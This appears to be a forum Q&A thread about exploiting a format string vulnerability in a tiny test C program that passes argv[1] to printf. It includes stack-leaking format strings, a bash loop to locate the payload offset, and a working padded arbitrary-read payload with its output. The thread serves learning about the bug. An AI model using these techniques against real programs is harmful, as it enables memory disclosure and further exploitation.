1

I am trying to carry out a simple format string attack on this program:

#include <stdio.h>

int main(int argc, char *argv[])
{
    printf(argv[1]);
}

I face no problem leaking the stack in the usual way by passing a format string like this:

./test "%x %x %x %x"

or with direct parameter access like this:

./test "%4\$x"

Next, I am trying to find out the location (nth parameter) of the format string itself in the stack this way:

 for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "AAAAAAAA%$i\$x" 0; done | grep 4141

Once I know the value of $i (let's say 134) where the "AAAA..." string appears, I should be able to read off arbitrary addresses like this:

./test $'\xaa\xbb\xcc\xdd%134\$s' 

I guess it's the traditional way of leaking information through a format string bug (as described in The Shellcoder's Handbook).

However, the format string I am passing is not nicely packed in a discrete $ith parameter (I don't have a better way to phrase it). Interestingly, half of it is present in 133 (upper word) and half of it in 134 (lower word). How am I supposed to pass arbitrary addresses as mentioned above in this situation? I am assuming I have to use a different sort of formatting to catch the exact address, but I am not sure how to proceed.

Also, ./test $'\xaa\xbb\xcc\xdd%134$s', simply prints off the ascii equivalent of those hex values. The argument doesn't exactly work as it is supposed to (I hope I am clear in what I am trying to achieve here). What is the proper way to pass these addresses?

If it helps, I am on Ubuntu12 i386 and using Bash.

1

It was rather trivial. Modifying the previous example a bit,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%$i\$x" 0; done | grep 4141

the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.

To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! The string is printed like this:

AA,���AAHOME=/home/arman

EDIT: The padding at the beginning is not really required. This works perfectly as well:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.